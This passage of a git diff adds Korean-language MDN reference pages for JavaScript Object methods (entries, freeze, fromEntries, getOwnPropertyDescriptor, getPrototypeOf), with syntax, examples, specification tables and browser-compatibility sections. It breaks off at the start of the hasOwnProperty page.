+<p>기본적으로 지원하지 않는 이전 환경에서 호환 가능한 <code>Object.entries</code> 지원을 추가하려면 <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a>에 Object.entries의 데모 구현을 찾을 수 있습니다 (IE에 대한 지원이 필요하지 않은 경우) , <a href="https://github.com/es-shims/Object.entries">es-shims/Object.entries</a> 저장소에있는 polyfill을 사용하거나 아래에 나열된 polyfill을 간단하게 배치 할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">if (!Object.entries)
+  Object.entries = function( obj ){
+    var ownProps = Object.keys( obj ),
+        i = ownProps.length,
+        resArray = new Array(i); // preallocate the Array
+    while (i--)
+      resArray[i] = [ownProps[i], obj[ownProps[i]]];
+
+    return resArray;
+  };
+</pre>
+
+<p>For the above polyfill code snippet, if you need support for IE &lt; 9, then you will also need an Object.keys polyfill (such as the one found on the {{jsxref("Object.keys")}} page).</p>
+
+<p>위의 polyfill 코드 스 니펫의 경우 Internet Explorer (9버전 이전)를 지원해야하는 경우 Object.keys polyfill ( {{jsxref("Object.keys")}} 페이지에 있는 것과 같은)도 필요합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js notranslate">const obj = { foo: 'bar', baz: 42 };
+console.log(Object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ]
+
+// array like object
+const obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]
+
+// array like object with random key ordering
+const anObj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.entries(anObj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ]
+
+// getFoo is property which isn't enumerable
+const myObj = Object.create({}, { getFoo: { value() { return this.foo; } } });
+myObj.foo = 'bar';
+console.log(Object.entries(myObj)); // [ ['foo', 'bar'] ]
+
+// non-object argument will be coerced to an object
+console.log(Object.entries('foo')); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ]
+
+// returns an empty array for any primitive type, since primitives have no own properties
+console.log(Object.entries(100)); // [ ]
+
+// iterate through key-value gracefully
+const obj = { a: 5, b: 7, c: 9 };
+for (const [key, value] of Object.entries(obj)) {
+  console.log(`${key} ${value}`); // "a 5", "b 7", "c 9"
+}
+
+// Or, using array extras
+Object.entries(obj).forEach(([key, value]) =&gt; {
+console.log(`${key} ${value}`); // "a 5", "b 7", "c 9"
+});
+</pre>
+
+<h3 id="Converting_an_Object_to_a_Map">Converting an <code>Object</code> to a <code>Map</code></h3>
+
+<p>{{jsxref("Map", "new Map()")}} 생성자는 반복 가능한 항목을 허용합니다. <code>Object.entries</code>를 사용하면 {{jsxref("Object")}}에서 {{jsxref("Map")}}로 쉽게 변환 할 수 있습니다.</p>
+
+
+
+<pre class="brush: js notranslate">const obj = { foo: 'bar', baz: 42 };
+const map = new Map(Object.entries(obj));
+console.log(map); // Map { foo: "bar", baz: 42 }
+</pre>
+
+<h3 id="Iterating_through_an_Object">Iterating through an <code>Object</code></h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Array_destructuring">Array Destructuring</a>을 사용하면 객체를 쉽게 반복 할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">const obj = { foo: 'bar', baz: 42 };
+Object.entries(obj).forEach(([key, value]) =&gt; console.log(`${key}: ${value}`)); // "foo: bar", "baz: 42"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.entries', 'Object.entries')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.entries")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.values()")}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/freeze/index.html b/files/ko/web/javascript/reference/global_objects/object/freeze/index.html
new file mode 100644
index 0000000000..6eaca7b708
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/freeze/index.html
@@ -0,0 +1,257 @@
+---
+title: Object.freeze()
+slug: Web/JavaScript/Reference/Global_Objects/Object/freeze
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+  - 동결
+  - 변경
+  - 변경가능성
+  - 불변
+  - 불변성
+  - 잠금
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><code><strong>Object.freeze()</strong></code> 메서드는 객체를 <strong>동결</strong>합니다. 동결된 객체는 더 이상 변경될 수 없습니다. 즉, 동결된 객체는 새로운 속성을 추가하거나 존재하는 속성을 제거하는 것을 방지하며 존재하는 속성의 불변성, 설정 가능성(configurability), 작성 가능성이 변경되는 것을 방지하고, 존재하는 속성의 값이 변경되는 것도 방지합니다.</span> 또한, 동결 객체는 그 프로토타입이 변경되는것도 방지합니다. <code>freeze()</code>는 전달된 동일한 객체를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-freeze.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">Object.freeze(<var>obj</var>)</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>동결할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>함수로 전달된 객체.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>동결 객체의 속성 집합에는 어떠한 것도 추가하거나 제거할 수 없으며, 그리 하려는 모든 시도는 조용히 넘어가거나, {{jsxref("TypeError")}} 예외가 발생하며 실패합니다. 예외 발생은 보통 {{jsxref("Strict_mode", "엄격 모드", "", 1)}}인 경우 발생하지만, 반드시 엄격 모드로만 제한되는 것은 아닙니다.</p>
+
+<p>동결 객체가 가진 데이터 속성에 대해선, 값을 변경할 수 없으며 설정 가능 여부와 쓰기 가능 여부 속성 모두 거짓이 됩니다. 접근자 속성(접근자와 설정자)도 동일하게 동작합니다(또한 값을 변경하고 있다는 환상을 줍니다). 수정되는 값이 객체이고 동결된 것이 아니라면 여전히 수정이 가능함을 유의하세요. 객체로써, 배열도 동결될 수 있습니다. 동결한 이후에는 그 엘리먼트를 변경할 수 없으며 배열에 어떠한 엘리먼트도 추가하거나 제거할 수 없습니다.</p>
+
+<p><code>freeze()</code>는 함수에 전달한 객체를 그대로 반환하며, 동결된 객체 사본을 생성하는 것이 아닙니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="객체_동결하기">객체 동결하기</h3>
+
+<pre class="brush: js">var obj = {
+  prop: function() {},
+  foo: 'bar'
+};
+
+// 동결 이전: 새 속성을 추가할 수 있고,
+// 기존 속성을 변경하거나 제거할 수 있음
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+// 동결
+var o = Object.freeze(obj);
+
+// 반환 값은 전달된 객체와 동일함.
+o === obj; // true
+
+// 객체가 동결 상태가 됨.
+Object.isFrozen(obj); // === true
+
+// 이제 모든 변경 시도는 실패함
+obj.foo = 'quux'; // 조용하게 아무것도 하지 않음
+// 조용하게 속성을 추가하지 않음
+obj.quaxxor = 'the friendly duck';
+
+// 엄격 모드에서는 이러한 시도에 대해 TypeError 발생
+function fail(){
+  'use strict';
+  obj.foo = 'sparky'; // TypeError 발생
+  delete obj.foo;     // TypeError 발생
+  delete obj.quaxxor; // 'quaxxor' 속성은 추가된 적이 없으므로 true 반환
+  obj.sparky = 'arf'; // TypeError 발생
+}
+
+fail();
+
+// Object.defineProperty를 통한 변경 시도
+// 아래 두 구문 모두에서 TypeError 발생
+Object.defineProperty(obj, 'ohai', { value: 17 });
+Object.defineProperty(obj, 'foo', { value: 'eit' });
+
+// 프로토타입을 변경하는 것 또한 불가함
+// 아래 두 구문 모두에서 TypeError 발생
+Object.setPrototype(obj, { x: 20 });
+obj.__proto__ = { x: 20 };
+
+</pre>
+
+<h3 id="배열_동결">배열 동결</h3>
+
+<pre class="brush: js">let a = [0];
+Object.freeze(a); // 이제 배열을 수정할 수 없음.
+
+a[0]=1; // 조용하게 실패
+a.push(2); // 조용하게 실패
+
+// 엄격 모드에서는 이런 시도에 대해 TypeError 발생
+function fail() {
+  "use strict"
+  a[0] = 1;
+  a.push(2);
+}
+
+fail();</pre>
+
+<p>동결된 객체는 변경할 수 없습니다. 하지만, 꼭 그렇지만은 않습니다. 다음 예제는 동결된 객체가 변경될 수 있음을(얕은 동결) 보여줍니다.</p>
+
+<pre class="brush: js">obj = {
+  internal: {}
+};
+
+Object.freeze(obj);
+obj.internal.a = 'aValue';
+
+obj.internal.a // 'aValue'
+</pre>
+
+<p>변경될 수 없는 객체가 되려면, 모든 참조 그래프(다른 객체로의 직간접적 참조)가 오로지 불변의 동결 객체만을 참조해야 합니다. 동결된 객체는 객체 내의 모든 상태(다른 객체로의 값과 참조)가 고정되기 때문에 불변하다고 합니다. 문자열, 숫자, 불리언 값은 언제나 불변하고, 함수와 배열은 객체임을 유의하세요.</p>
+
+<h4 id="얕은_동결이_무엇인가요">"얕은 동결"이 무엇인가요?</h4>
+
+<p><code>Object.freeze(object)</code> 호출의 결과는 <code>object</code> 스스로의 직속 속성에만 적용되며, <code>object</code>에 대해서만 속성 추가, 제거, 재할당 연산을 방지합니다. 만약 그 속성의 값이 객체라면, 그 객체는 동결되지 않으며 속성 추가, 제거, 재할당의 대상이 될 수 있습니다.</p>
+
+<pre class="brush: js">var employee = {
+  name: "Mayank",
+  designation: "Developer",
+  address: {
+    street: "Rohini",
+    city: "Delhi"
+  }
+};
+
+Object.freeze(employee);
+
+employee.name = "Dummy"; // 비엄격 모드에서 조용하게 실패
+employee.address.city = "Noida"; // 자식 객체의 속성은 수정 가능
+
+console.log(employee.address.city) // 출력: "Noida"
+</pre>
+
+<p>객체를 불변하게 만들려면, 각 객체 타입의 속성을 재귀적으로 동결해야합니다(깊은 동결). 객체가 그 참조 그래프에서 {{interwiki("wikipedia", "Cycle_(graph_theory)", "순환")}}을 포함하지 않는다는 것을 인지하고 있을 때, 디자인을 기반으로 상황에 따라 패턴을 적용해야하며, 그렇지 않을 경우 반복문이 무한히 실행될 수 있습니다. <code>deepFreeze()</code>에 대한 개선은 객체가 불변하게 되는 과정에 있을 때 <code>deepFreeze()</code>의 재귀적인 호출을 차단할 수 있도록 경로(예, 배열) 인자를 받는 내부 함수를 소유하는 것입니다. [window]와 같은, 동결되면 안되는 객체를 동결하는 것에 대한 위험은 여전히 남아 있습니다.</p>
+
+<pre class="brush: js">function deepFreeze(object) {
+
+  // 객체에 정의된 속성명을 추출
+  var propNames = Object.getOwnPropertyNames(object);
+
+  // 스스로를 동결하기 전에 속성을 동결
+
+  for (let name of propNames) {
+    let value = object[name];
+
+    object[name] = value &amp;&amp; typeof value === "object" ?
+      deepFreeze(value) : value;
+  }
+
+  return Object.freeze(object);
+}
+
+var obj2 = {
+  internal: {
+    a: null
+  }
+};
+
+deepFreeze(obj2);
+
+obj2.internal.a = 'anotherValue'; // 비엄격 모드에서 조용하게 실패
+obj2.internal.a; // null
+</pre>
+
+<h2 id="Notes" name="Notes">사용 노트</h2>
+
+<p>ES5에서는, 이 메소드에 대한 인자가 객체(원시형)가 아닐 경우, {{jsxref("TypeError")}}가 발생합니다. ES2015에서는, 비객체 인자가 동결된 평범한 객체인것처럼 다루어져 반환됩니다.</p>
+
+<pre class="brush: js">&gt; Object.freeze(1)
+TypeError: 1 is not an object // ES5 code
+
+&gt; Object.freeze(1)
+1                             // ES2015 code
+</pre>
+
+<p>엘리먼트를 갖는 {{domxref("ArrayBufferView")}}는 메모리를 통한 뷰이므로 다른 가능한 문제를 유발 할 수 있어 {{jsxref("TypeError")}}가 발생합니다.</p>
+
+<pre class="brush: js">&gt; Object.freeze(new Uint8Array(0)) // 엘리먼트가 없음
+Uint8Array []
+
+&gt; Object.freeze(new Uint8Array(1)) // 엘리먼트를 가짐
+TypeError: Cannot freeze array buffer views with elements
+
+&gt; Object.freeze(new DataView(new ArrayBuffer(32))) // 엘리먼트가 없음
+DataView {}
+
+&gt; Object.freeze(new Float64Array(new ArrayBuffer(64), 63, 0)) // 엘리먼트가 없음
+Float64Array []
+
+&gt; Object.freeze(new Float64Array(new ArrayBuffer(64), 32, 2)) // 엘리먼트를 가짐
+TypeError: Cannot freeze array buffer views with elements</pre>
+
+<p>세 가지 표준 속성(<code>buf.byteLength</code>, <code>buf.byteOffset</code>, <code>buf.buffer</code>)은 읽기 전용(이들은 {jsxref("ArrayBuffer")}} 또는 {{jsxref("SharedArrayBuffer")}}이므로)이므로, 이러한 속성에 대해 동결을 시도할 이유가 없음을 유의합니다.</p>
+
+<h3 id="Object.seal과의_비교"><code>Object.seal()</code>과의 비교</h3>
+
+<p>{{jsxref("Object.seal()")}}을 사용해 봉인된 객체는 존재하는 속성을 변경할 수 있습니다. <code>Object.freeze()</code>로 동결된 객체에서는 존재하는 속성이 불변입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Object.freeze")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/fromentries/index.html b/files/ko/web/javascript/reference/global_objects/object/fromentries/index.html
new file mode 100644
index 0000000000..4d74fc326a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/fromentries/index.html
@@ -0,0 +1,98 @@
+---
+title: Object.fromEntries()
+slug: Web/JavaScript/Reference/Global_Objects/Object/fromEntries
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.fromEntries()</strong></code> 메서드는 키값 쌍의 목록을 객체로 바꿉니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-fromentries.html")}}</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Object.fromEntries(<var>iterable</var>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>반복 가능한 객체. 즉, {{jsxref("Array")}}, {{jsxref("Map")}} 또는 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">반복 규약</a>을 구현한 기타 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>속성의 키와 값을 반복 가능한 객체에서 가져온 새로운 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Object.fromEntries()</code> 메서드는 키값 쌍 목록을 받고, 그 목록을 사용해 속성을 부여한 새로운 객체를 반환합니다. <code>iterable</code> 인자는 <code>@@iterator</code> 메서드를 구현하여 반복기 객체를 반환해야 하고, 그 반복기는 또 배열 형태의 객체로 요소 2개를 반환해야 합니다. 반환된 요소 중 첫 번째는 생성할 객체의 속성 키로, 두 번째는 속성 값으로 사용합니다.</p>
+
+<p><code>Object.fromEntries()</code>는{{jsxref("Object.entries()")}}의 역을 수행합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Map에서_Object로"><code>Map</code>에서 <code>Object</code>로</h3>
+
+<pre class="brush: js">const map = new Map([ ['foo', 'bar'], ['baz', 42] ]);
+const obj = Object.fromEntries(map);
+console.log(obj); // { foo: "bar", baz: 42 }
+</pre>
+
+<h3 id="Array에서_Object로"><code>Array</code>에서 <code>Object</code>로</h3>
+
+<pre class="brush: js">const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ];
+const obj = Object.fromEntries(arr);
+console.log(obj); // { 0: "a", 1: "b", 2: "c" }
+</pre>
+
+<h3 id="객체_변환">객체 변환</h3>
+
+<p><code>Object.fromEntries()</code>와 그 역인 {{jsxref("Object.entries()")}}, 그리고 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array#메서드_2">배열 변형 메서드</a>를 통해 객체를 변환할 수 있습니다.</p>
+
+<pre class="brush: js">const object1 = { a: 1, b: 2, c: 3 };
+
+const object2 = Object.fromEntries(
+  Object.entries(object1)
+  .map(([ key, val ]) =&gt; [ key, val * 2 ])
+);
+
+console.log(object2);
+// { a: 2, b: 4, c: 6 }</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-object-from-entries/">https://tc39.github.io/proposal-object-from-entries</a></td>
+   <td>Stage 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Object.fromEntries")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.entries()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.values()")}}</li>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html b/files/ko/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html
new file mode 100644
index 0000000000..c3be0cbaae
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html
@@ -0,0 +1,126 @@
+---
+title: Object.getOwnPropertyDescriptor()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.getOwnPropertyDescriptor()</strong></code> 메서드는 주어진 객체 <dfn>자신의 속성</dfn>(즉, 객체에 직접 제공하는 속성, 객체의 프로토타입 체인을 따라 존재하는 덕택에 제공하는 게 아닌)에 대한 속성 설명자(descriptor)를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.getOwnPropertyDescriptor(<var>obj</var>, <var>prop</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>속성을 찾을 대상 객체.</dd>
+ <dt><code>prop</code></dt>
+ <dd>설명이 검색될 속성명.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>객체에 존재하는 경우 주어진 속성의 속성 설명자, 없으면 {{jsxref("undefined")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>이 메서드는 정확한 속성 설명의 검사를 허용합니다. JavaScript에서 <dfn>속성</dfn>은 문자열 값인 이름과 속성 설명자로 구성됩니다. 속성 설명자 유형과 attribute에 관한 자세한 정보는 {{jsxref("Object.defineProperty()")}}에서 찾을 수 있습니다.</p>
+
+<p><dfn>속성 설명자</dfn>는 다음 attribute 중 일부의 기록입니다:</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>속성과 관련된 값 (데이터 설명자만).</dd>
+ <dt><code><strong>writable</strong></code></dt>
+ <dd>속성과 관련된 값이 변경될 수 있는 경우에만 <code>true</code> (데이터 설명자만).</dd>
+ <dt><code>get</code></dt>
+ <dd>속성에 대해 getter로서 제공하는 함수 또는 getter가 없는 경우 {{jsxref("undefined")}} (접근자 설명자만).</dd>
+ <dt><code>set</code></dt>
+ <dd>속성에 대해 setter로서 제공하는 함수 또는 setter가 없는 경우 {{jsxref("undefined")}} (접근자 설명자만).</dd>
+ <dt><code>configurable</code></dt>
+ <dd>이 속성 설명자의 유형이 바뀔 수 있는 경우에만 그리고 속성이 해당 객체에서 삭제될 수 있는 경우 <code>true</code>.</dd>
+ <dt><code>enumerable</code></dt>
+ <dd>이 속성이 해당 객체의 속성 열거 중에 나타나는 경우에만 <code>true</code>.</dd>
+</dl>
+
+<h2 id="예">예</h2>
+
+<pre class="brush: js">var o, d;
+
+o = { get foo() { return 17; } };
+d = Object.getOwnPropertyDescriptor(o, 'foo');
+// d는 { configurable: true, enumerable: true, get: /* getter 함수 */, set: undefined }
+
+o = { bar: 42 };
+d = Object.getOwnPropertyDescriptor(o, 'bar');
+// d는 { configurable: true, enumerable: true, value: 42, writable: true }
+
+o = {};
+Object.defineProperty(o, 'baz', { value: 8675309, writable: false, enumerable: false });
+d = Object.getOwnPropertyDescriptor(o, 'baz');
+// d는 { value: 8675309, writable: false, enumerable: false, configurable: false }
+</pre>
+
+<h2 id="주의">주의</h2>
+
+<p>ES5에서, 이 메서드의 첫 번째 인수가 비객체(원시형)인 경우, 그러면 {{jsxref("TypeError")}}가 발생합니다. ES6에서, 비객체 첫 번째 인수는 먼저 객체로 강제됩니다.</p>
+
+<pre class="brush: js">Object.getOwnPropertyDescriptor("foo", 0);
+// TypeError: "foo"는 객체가 아닙니다  // ES5 코드
+
+Object.getOwnPropertyDescriptor("foo", 0);
+// {configurable:false, enumerable:true, value:"f", writable:false}  // ES6 코드
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.getOwnPropertyDescriptor")}}</p>
+</div>
+</div>
+
+<p> </p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/getprototypeof/index.html b/files/ko/web/javascript/reference/global_objects/object/getprototypeof/index.html
new file mode 100644
index 0000000000..12a65e24de
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/getprototypeof/index.html
@@ -0,0 +1,134 @@
+---
+title: Object.getPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.getPrototypeOf()</strong></code> 메서드는 지정된 객체의 프로토타입(가령 내부 <code>[[Prototype]]</code> 속성값)을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.getPrototypeOf(<var>obj</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>자신의 프로토타입이 반환되는 객체.</dd>
+</dl>
+
+<h2 id="예">예</h2>
+
+<pre class="brush: js">var proto = {};
+var obj = Object.create(proto);
+Object.getPrototypeOf(obj) === proto; // true
+</pre>
+
+<h2 id="주의">주의</h2>
+
+<p>ES5에서, <code>obj</code> 매개변수가 객체가 아닌 경우 {{jsxref("TypeError")}} 예외가 발생합니다. ES6에서, 매개변수는 {{jsxref("Object")}}로 강제됩니다.</p>
+
+<pre class="brush: js">Object.getPrototypeOf("foo");
+// TypeError: "foo"는 객체가 아닙니다 (ES5 코드)
+Object.getPrototypeOf("foo");
+// String.prototype                  (ES6 코드)
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12.10")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Opera_전용_주의사항">Opera 전용 주의사항</h2>
+
+<p>이전 Opera 버전이 <code>Object.getPrototypeOf()</code>를 아직 지원하지 않지만, Opera는 Opera 10.50 이후로 비표준 {{jsxref("Object.proto", "__proto__")}} 속성을 지원합니다.</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.__proto__")}}</li>
+ <li>John Resig의 <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf</a> 포스트</li>
+ <li>{{jsxref("Reflect.getPrototypeOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/hasownproperty/index.html b/files/ko/web/javascript/reference/global_objects/object/hasownproperty/index.html
new file mode 100644
index 0000000000..40a544043c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/hasownproperty/index.html
@@ -0,0 +1,146 @@
+---
+title: Object.prototype.hasOwnProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>hasOwnProperty()</strong></code> 메소드는 객체가 특정 프로퍼티를 가지고 있는지를  나타내는 불리언 값을 반환한다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-hasownproperty.html")}}</div>
+
+
+
